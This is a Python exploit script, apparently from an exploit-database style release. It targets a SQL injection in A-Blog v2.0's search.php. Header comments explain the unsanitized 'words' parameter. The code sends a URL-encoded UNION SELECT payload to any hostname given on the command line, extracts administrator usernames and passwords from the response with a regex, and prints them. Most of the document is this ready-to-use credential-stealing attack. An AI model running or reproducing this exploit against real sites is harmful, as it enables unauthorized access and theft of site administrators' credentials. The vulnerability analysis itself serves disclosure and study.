#!/usr/bin/python
#
# Exploit Title: A-Blog v2.0 (sources/search.php) SQL Injection Exploit
# Date : 05 September 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/a-blog/
# Version : 2.0
# Tested on : EasyPHP 5.3.1.0 for Windows with Python 3.1
#
#
# Description
# ===========
#
# + sources/search.php => This few lines of code strip whitespaces from the
# beginning and end of the 'words' GET parameter. Then,
# all the whitespaces are replaced with %.
#
# 12: if ((array_key_exists('words', $_GET)) && ($_GET['words'] == '')) {
# 13: callback_js("page=results&words=$searchwords");
# 14: }
# 15:
# 16: else{
# 17: if ((array_key_exists('words', $_GET))) {
# 18: $words2 = trim($_GET['words']);
# 19: }
# 20: $search = str_replace(" ", "%", "$words2");
# 21: }
#
#
# + sources/search.php => The string returned from the previous code is used in
# the query below without being sanitized.
#
# 33: $sql = "SELECT * FROM site_news WHERE title LIKE '%$search%' OR home_text
# LIKE '%$search%' OR extended_text LIKE '%$search%'";
# 34: $sql_result = mysql_query($sql,$connection) or die ("Couldnt execute query");
#
#
# + sources/search.php => Then, the results are echoed
#
# 39: while($row = mysql_fetch_array($sql_result)){
# 40:
# 41: $id = $row['nid'];
# 42: $title = $row['title'];
# 43: $home = $row['home_text'];
# 44: $extended = $row['extended_text'];
# 45:
# 46: echo "<li><a href='blog.php?view=news&id=$id' title='Read $title'>$title</a></li>";
# 47: }
#
import re
import sys
import textwrap
import http.client
def usage(program):
print('Usage : ' + program + ' <victim hostname> <path>\n')
print('Example: ' + program + ' localhost /A-BlogV2/')
print(' ' + program + ' www.victim.com /complete/path/')
return
def removeDuplicates(mylist):
d = {}
for elem in mylist:
d[elem] = 1
return list(d.keys())
def exploit(target, path):
payload = 'search.php?words=%25%27/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/1%2C'
payload += 'CONCAT%28%27%3C1%3E%27%2Cname%2C%27%3A%27%2Cpassword%2C%27%3C2'
payload += '%3E%27%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10/%2A%2A/FROM/%2A%2A/'
payload += 'site_administrators/%2A%2A/%23'
print('[+] Sending HTTP request\n')
print(textwrap.fill('GET ' + path + payload) + '\n')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()
if res.status != 200:
print('[!] HTTP GET request failed')
exit(1)
print('[+] Parsing HTTP response')
data = res.read().decode()
pattern = re.compile(r"<1>([\w:]+?)<2>", re.M)
credentials = removeDuplicates(pattern.findall(data))
if len(credentials) > 0:
print('[+] Credentials found\n')
for element in credentials:
print(element)
else:
print('[!] Credentials not found')
return
print('\n+---------------------------------------------------------------------------+')
print('| A-Blog v2.0 (sources/search.php) SQL Injection Exploit by Ptrace Security |')
print('+---------------------------------------------------------------------------+\n')
if len(sys.argv) != 3:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2])
exit(0)